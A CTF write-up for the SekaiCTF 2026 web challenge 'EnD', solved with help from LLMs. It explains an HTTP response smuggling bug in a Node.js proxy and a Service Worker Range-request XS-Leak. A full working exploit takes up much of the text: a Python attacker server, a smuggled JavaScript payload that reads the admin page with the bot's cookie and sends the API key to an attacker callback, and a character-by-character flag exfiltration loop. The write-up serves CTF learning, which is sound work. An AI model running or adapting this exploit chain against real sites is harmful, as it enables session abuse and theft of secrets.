[web] SekaiCTF 2026 - EnD writeup
0. Preface
I've been doing CTF activities lately, but I realized I haven't solved a problem completely on my own in a while. So I decided to write this post as a motivation to actually finish one.
I spent some time solving this challenge using LLMs, and this is my writeup.
I selected a problem called "EnD" from SekaiCTF's web category last month, which had no existing writeup, and solved it using Claude (Opus) and GLM from z.ai.
1. Structure
It consists of 3 containers (including a bot), with the following roles:
① proxy
A Node.js-based main frontend running on port 3000, connected only to frontnet. It is a ReadView service that reverse proxies external document URLs registered by users under /view/<name>/. The /admin page renders API_KEY in plaintext and requires an ADMIN_TOKEN cookie for access. To block script loading, responses with Sec-Fetch-Dest: script are set to 0 bytes, and CSP is strictly set to script-src 'self'.
② api
A Flask application running on port 9090, connected only to backnet and inaccessible from outside. The core endpoint is /messages/search, which holds OAUTH_SECRET (= flag) as the search target. Search works via startswith, authenticated by an API_KEY derived as hmac(OAUTH_SECRET, "api-auth", sha256)[:16]. Responses use send_file(conditional=True), supporting Range requests.
\
- Scenario
Claude and GLM each proposed different scenarios.
Claude's hypothesis:
- 1. Guess API_KEY using XS-Leak (Resource Timing / fetch timing)
- 2. Use the guessed API_KEY to extract the flag via
/messages/search prefix oracle
GLM's hypothesis:
- 1. HTTP Response Smuggling → obtain API_KEY
- 2. Use the obtained API_KEY + XS-Leak to extract the flag
After directly analyzing the code, GLM's scenario turned out to be correct, so we proceeded with it and successfully obtained the flag.
3. Solution
The smuggling vulnerability exists in the proxyTo function of /proxy/app.js:
js
if (req.headers['sec-fetch-dest'] === 'script') {
h['content-length'] = '0'
delete h['transfer-encoding']
}
res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h)
proxyRes.pipe(res)
While content-length is overwritten to 0 to empty the script content for sec-fetch-dest: script requests, proxyRes.pipe(res) still forwards all bytes from upstream directly to the browser, triggering the vulnerability.
However, the key challenge is how to exploit it. We need to make the bot load scripts from our attacker server. Since this was done locally, a separate attacker container was created first.
We registered the attacker server on the proxy using:
GET /add?name=atk9brme&url=http://44.44.0.4:9999/
This gave us the path atk9brme, so when the bot accesses http://proxy:3000/view/atk9brme/, the proxy fetches and displays our attacker server's content. The browser recognizes this page as running under the proxy origin (http://proxy:3000), and the attack begins.
Next, we submitted the attacker server address to the bot's /submit. The bot visits the trigger page, which opens http://proxy:3000/view/atk9brme/ as a popup via window.open, while also holding a 30-second connection to exhaust browser sockets — triggering the smuggling.
The attacker server's index page contains:
html
<script async src="js1.js"></script>
<script async src="js2.js"></script>
<script async src="js3.js"></script>
<script async src="js4.js"></script>
<script async src="js5.js"></script>
<script async src="exec.js"></script> <!-- Key script -->
<script async src="js7.js"></script>
<script async src="js8.js"></script>
js1.js through js8.js each respond with a 2-second delay to hold browser connections, and when exec.js is requested, the smuggling is triggered.
When the bot reaches exec.js, the attacker server responds as follows. The relevant code in our PoC is:
python
if pa == '/exec.js':
raw = smuggled_http_response()
self.send_response(200)
self.send_header('Content-Type', 'not/script')
self.send_header('Content-Length', str(len(raw)))
self.send_header('Expect', '100-continue')
self.end_headers()
self.wfile.flush()
time.sleep(0.5)
try:
self.wfile.write(raw)
self.wfile.flush()
except Exception:
pass
And smuggled_http_response() constructs the actual second HTTP response:
python
def smuggled_http_response():
js = make_payload().encode()
head = (
'HTTP/1.1 200 OK\r\n'
'Content-Type: application/javascript\r\n'
f'Content-Length: {len(js)}\r\n'
'Connection: keep-alive\r\n\r\n'
).encode()
return head + js
From the proxy's perspective: it receives the first response header (Content-Type: not/script), sees sec-fetch-dest: script, and overwrites content-length to 0. However, proxyRes.pipe(res) still forwards all subsequent bytes — the entire second HTTP response — to the browser.
From the browser's perspective: since content-length is 0, exec.js is treated as an empty script. The trailing bytes are interpreted as the response to the next request on the keep-alive connection. Since Content-Type is application/javascript, the browser executes it as a script from proxy origin (http://proxy:3000).
The executed script works as follows:
js
var html = await fetch('/admin', { credentials: 'include' }).then(r => r.text());
var key = (html.match(/id="api-key">([^<]+)/) || [])[1] || '';
window.open(CB + '/leak?key=' + encodeURIComponent(key) + '&api=' + encodeURIComponent(url), '_blank');
Since this JS runs in proxy origin via smuggling, /admin is a same-origin request. The bot holds a session=ADMIN_TOKEN cookie on the proxy domain, so credentials: 'include' automatically attaches it, allowing the admin page to be read. The API_KEY is extracted by parsing the <code id="api-key"> tag with a regex, then passed to the attacker server's /leak page via popup.
After obtaining API_KEY, the flag is extracted one character at a time using /messages/search?key=API_KEY&q=prefix. However, since the api has no CORS headers, response bodies cannot be read cross-origin. This is where XS-Leak comes in.
The XS-Leak is possible because of this code in api/app.py:
python
return send_file(
io.BytesIO(data),
mimetype="application/json",
conditional=True,
)
conditional=True enables Range request support. When the prefix matches (response is 46 bytes), a Range: bytes=30- request returns 206; when it misses (response is 15 bytes), it returns 416. The 30-byte threshold distinguishes match from miss by status code.
A Service Worker is used to read this difference in the browser. The <audio> element automatically sends Range requests for streaming, which the Service Worker intercepts:
js
if (rng === 'bytes=0-') {
// First Range request → fake 206 to set 30-byte threshold
e.respondWith(new Response('A'.repeat(n), { status: 206, ... }));
}
if (rng === 'bytes=' + n + '-') {
// Second Range request → forward to real api, save response
e.respondWith(
fetch(e.request)
.then(r => { saved = r.clone(); return r; })
.catch(() => new Response('', { status: 416 }))
);
}
If the second Range request matches, the 206 response is stored in saved; if it misses, nothing is stored. A subsequent /probe fetch checks whether saved has a response — if it does, the fetch fails (match); if it doesn't, the fetch succeeds (miss). This allows flag extraction character by character via brute force.
4.
#!/usr/bin/env python3
import os, sys, time, random, string, threading, re
import urllib.parse, urllib.request
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
PORT = 9999
VPS = '44.44.0.4'
PROXY = 'http://proxy:3000'
BOT = 'http://web_end-bot-1:8000'
SITE = 'http://proxy:3000'
PREFIX = ''
LIMIT = 80
CB = f'http://{VPS}:{PORT}'
TAG = 'atk' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=5))
flag = PREFIX
evts = []
lk = threading.Lock()
SW = """\
'use strict';
var saved;
self.addEventListener('install', () => self.skipWaiting());
self.addEventListener('activate', e => e.waitUntil(clients.claim()));
self.addEventListener('fetch', e => {
var u = new URL(e.request.url);
var thr = u.searchParams.get('thr');
if (thr !== null) {
var n = parseInt(thr, 10);
var rng = e.request.headers.get('range') || '';
if (rng === 'bytes=0-') {
e.respondWith(new Response('A'.repeat(n), {
status: 206,
headers: {
'Content-Type': 'audio/mpeg',
'Content-Range': 'bytes 0-' + (n-1) + '/999999',
'Accept-Ranges': 'bytes'
}
}));
return;
}
if (rng === 'bytes=' + n + '-') {
e.respondWith(
fetch(e.request)
.then(r => { saved = r.clone(); return r; })
.catch(()=> new Response('', {status:416}))
);
return;
}
}
if (u.pathname.endsWith('/probe') && saved) {
var tmp = saved; saved = undefined;
e.respondWith(tmp.clone());
}
});
"""
def make_payload():
return f"""(async()=>{{
var cb={repr(CB)};
var L=m=>new Image().src=cb+'/e?m='+encodeURIComponent(m);
L('exec');
try{{
var html=await fetch('/admin',{{credentials:'include'}}).then(r=>r.text());
L('len='+html.length);
var api=(html.match(/id="api-url">([^<]+)/)||[])[1]||'';
var key=(html.match(/id="api-key">([^<]+)/)||[])[1]||'';
L('key='+key);
if(key) window.open(cb+'/leak?key='+encodeURIComponent(key)+'&api='+encodeURIComponent(api),'_blank');
}}catch(err){{L('err='+err)}}
}})();""".strip()
def smuggled_http_response():
js = make_payload().encode()
head = (
'HTTP/1.1 200 OK\r\n'
'Content-Type: application/javascript\r\n'
f'Content-Length: {len(js)}\r\n'
'Connection: keep-alive\r\n\r\n'
).encode()
return head + js
CHARSET = '{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!@#$%&-'
THR = 30
def make_leak_page(api, key, prefix):
return f"""<!DOCTYPE html><html><body><script>
(async()=>{{
var cb={repr(CB)},api={repr(api)},key={repr(key)},thr={THR};
var L=m=>new Image().src=cb+'/e?m='+encodeURIComponent(m);
try{{
await navigator.serviceWorker.register('/sw.js');
await navigator.serviceWorker.ready;
if(!navigator.serviceWorker.controller)
await new Promise(r=>navigator.serviceWorker.addEventListener('controllerchange',r,{{once:true}}));
L('sw_ok');
}}catch(e){{L('sw_fail='+e);return;}}
function oracle(q){{
return new Promise(res=>{{
var a=document.createElement('audio');
a.src=api+'/messages/search?key='+key+'&q='+encodeURIComponent(q)+'&thr='+thr+'&r='+Math.random();
a.onerror=()=>fetch('/probe',{{mode:'no-cors'}}).then(()=>res(false)).catch(()=>res(true));
document.body.appendChild(a);
}});
}}
L('go');
var found={repr(prefix)};
var cs={repr(CHARSET)};
for(var i=found.length;i<{LIMIT};i++){{
var hit=false;
for(var j=0;j<cs.length;j++){{
if(await oracle(found+cs[j])){{found+=cs[j];hit=true;break;}}
}}
new Image().src=cb+'/f?c='+encodeURIComponent(found)+'&i='+i;
if(!hit)break;
}}
new Image().src=cb+'/done?flag='+encodeURIComponent(found);
}})();
</script></body></html>"""
_scripts = [f'js{i}.js' for i in range(1, 9)]
_scripts[5] = 'exec.js'
POOL_SCRIPTS = '\n'.join(f'<script async src="{s}"></script>' for s in _scripts)
POOL_PAGE = f'<!DOCTYPE html><html><body>\n{POOL_SCRIPTS}\n</body></html>'
TRIG_PAGE = (
f'<!DOCTYPE html><html><body>'
f'<script>window.open({repr(f"{SITE}/view/{TAG}/")}, "_blank")</script>'
f'<img src="/hold">'
f'</body></html>'
)
class H(BaseHTTPRequestHandler):
def log_message(self, *_): pass
def ok(self, ct, body):
if isinstance(body, str): body = body.encode()
self.send_response(200)
self.send_header('Content-Type', ct)
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self):
global flag
pr = urllib.parse.urlparse(self.path)
pa = pr.path
qs = urllib.parse.parse_qs(pr.query)
g = lambda k: qs.get(k, [''])[0]
if pa == '/e':
m = urllib.parse.unquote(g('m'))
with lk: evts.append(m)
print(f' [*] {m}')
return self.ok('text/plain', 'ok')
if pa == '/f':
c = urllib.parse.unquote(g('c'))
with lk:
if len(c) > len(flag): flag = c
print(f'\r [{g("i").zfill(3)}] {c}', end='', flush=True)
return self.ok('text/plain', 'ok')
if pa == '/done':
c = urllib.parse.unquote(g('flag'))
with lk:
if len(c) > len(flag): flag = c
print()
return self.ok('text/plain', 'ok')
if pa == '/go':
return self.ok('text/html', TRIG_PAGE)
if pa == '/hold':
time.sleep(30)
return self.ok('text/plain', 'ok')
if pa in ('/', '/index.html'):
return self.ok('text/html', POOL_PAGE)
if pa == '/exec.js':
raw = smuggled_http_response()
self.send_response(200)
self.send_header('Content-Type', 'not/script')
self.send_header('Content-Length', str(len(raw)))
self.send_header('Expect', '100-continue')
self.end_headers()
self.wfile.flush()
time.sleep(0.5)
try:
self.wfile.write(raw)
self.wfile.flush()
except Exception:
pass
return
if re.match(r'^/js\d+\.js$', pa):
time.sleep(2)
return self.ok('application/javascript', '')
if pa == '/leak':
key = urllib.parse.unquote(g('key'))
api = urllib.parse.unquote(g('api'))
with lk: pre = flag or PREFIX
return self.ok('text/html', make_leak_page(api, key, pre))
if pa == '/sw.js':
body = SW.encode()
self.send_response(200)
self.send_header('Content-Type', 'application/javascript')
self.send_header('Cache-Control', 'no-cache')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
return
if pa == '/probe':
return self.ok('text/plain', 'ok')
self.send_response(404)
self.end_headers()
def req(url, post=None):
try:
r = urllib.request.Request(
url, data=post,
headers={'Content-Type':'application/x-www-form-urlencoded'} if post else {}
)
with urllib.request.urlopen(r, timeout=12) as res:
return res.status
except Exception as e:
return str(e)
def run():
global flag
time.sleep(2)
print(f' proxy : {PROXY}\n bot : {BOT}\n cb : {CB}\n tag : {TAG}\n')
add = f'{PROXY}/add?name={TAG}&url={urllib.parse.quote(CB + "/")}'
for _ in range(10):
if req(add) == 201:
print(f' [+] /view/{TAG}/ registered')
break
time.sleep(2)
for rd in range(3):
with lk: prev = len(flag)
print(f'\n round {rd+1} (prefix: {repr(flag or "empty")})')
body = urllib.parse.urlencode({'url': f'{CB}/go'}).encode()
print(f' bot → {req(f"{BOT}/submit", post=body)}')
stall = last = 0
for _ in range(150):
time.sleep(1)
with lk: cur = flag
if cur.endswith('}'): break
if len(cur) > last: last = len(cur); stall = 0
else: stall += 1
if stall >= 25: break
with lk: cur = flag
if cur.endswith('}'): break
if len(cur) == prev: print(' no progress'); break
with lk: final = flag; ev = list(evts)
print('\n' + '='*50)
print(f' events : {" → ".join(ev)}')
print(f' flag : {final}')
print(f' result : {"OK" if final.endswith("}") else "PARTIAL" if final else "FAIL"}')
print('='*50)
if __name__ == '__main__':
srv = ThreadingHTTPServer(('0.0.0.0', PORT), H)
print(f'[*] listening :{PORT}')
threading.Thread(target=run, daemon=True).start()
try: srv.serve_forever()
except KeyboardInterrupt: pass
Since this was done locally, an attacker server was set up locally and the following environment configuration was done to communicate with the challenge server.
# 1. Create attacker container (attach to pubnet to get a public-range IP)
docker network create --subnet 44.44.0.0/16 pubnet
docker run -d --name attacker \
--network pubnet \
-v "/mnt/c/Users/82105/Desktop/ctf/sekai 2026/web_end":/app \
python:3.12-slim sleep infinity
# 2. Connect proxy and bot to pubnet
docker network connect pubnet web_end-proxy-1
docker network connect pubnet web_end-bot-1
# 3. Check attacker container IP
docker inspect attacker --format '{{.NetworkSettings.Networks.pubnet.IPAddress}}'
# 4. Connect attacker to frontnet (for proxy/bot hostname access)
docker network connect web_end_frontnet attacker
# 5. Run PoC
docker exec -it attacker python3 /app/exploit.py
flag
# 5. Closing Thoughts
Although the AI did most of the heavy lifting, I managed to finish a challenge all the way through for the first time in a while. There were parts where guardrails forced me to analyze the code directly myself, but compared to before using LLMs, I was definitely able to approach the problem with a broader perspective and more efficiency. That said, this experience also reminded me that if I had blindly followed the wrong scenario without verifying it myself, I would have burned through tokens without solving anything. Going forward, I want to make sure I don't over-rely on LLMs — solving problems hands-on every now and then to sharpen my own skills, while using AI as a supporting tool rather than a crutch, feels like the right balance to strike.